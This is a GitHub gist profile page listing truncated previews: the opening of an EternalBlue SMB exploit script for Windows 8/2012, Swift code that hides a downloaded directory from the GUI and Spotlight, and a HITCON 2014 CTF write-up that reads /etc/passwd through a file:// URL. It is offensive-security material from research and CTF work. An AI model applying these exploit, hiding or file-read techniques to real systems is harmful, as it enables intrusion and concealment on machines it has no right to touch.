Skip to content

Instantly share code, notes, and snippets.

View noncetonic's full-sized avatar

noncetonic noncetonic

View GitHub Profile
@noncetonic
noncetonic / eternalblue8_exploit.py
Created May 18, 2017 22:38 — forked from worawit/eternalblue8_exploit.py
Eternalblue exploit for Windows 8/2012
#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
/*
Called by `downloadFile`, createHiddenDirectory takes a path to a directory,
creates the directory, and then calls `guiHide` and `noSpotlight` to hide
the directory from GUI view and the Spotlight drive indexer, respectively.
*/
func createHiddenDirectory(location: NSString) {
var err: NSErrorPointer = nil
var fileManager = NSFileManager.defaultManager()
fileManager.createDirectoryAtPath(location, withIntermediateDirectories: true, attributes: nil, error: err)
@noncetonic
noncetonic / DIAGCGI Writeup
Created August 18, 2014 04:46
HITCON 2014 DIAGCGI Writeup
#DIAGCGI
##Arbitrary File Read
```file:///etc/passwd``` and use curl function shows us
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin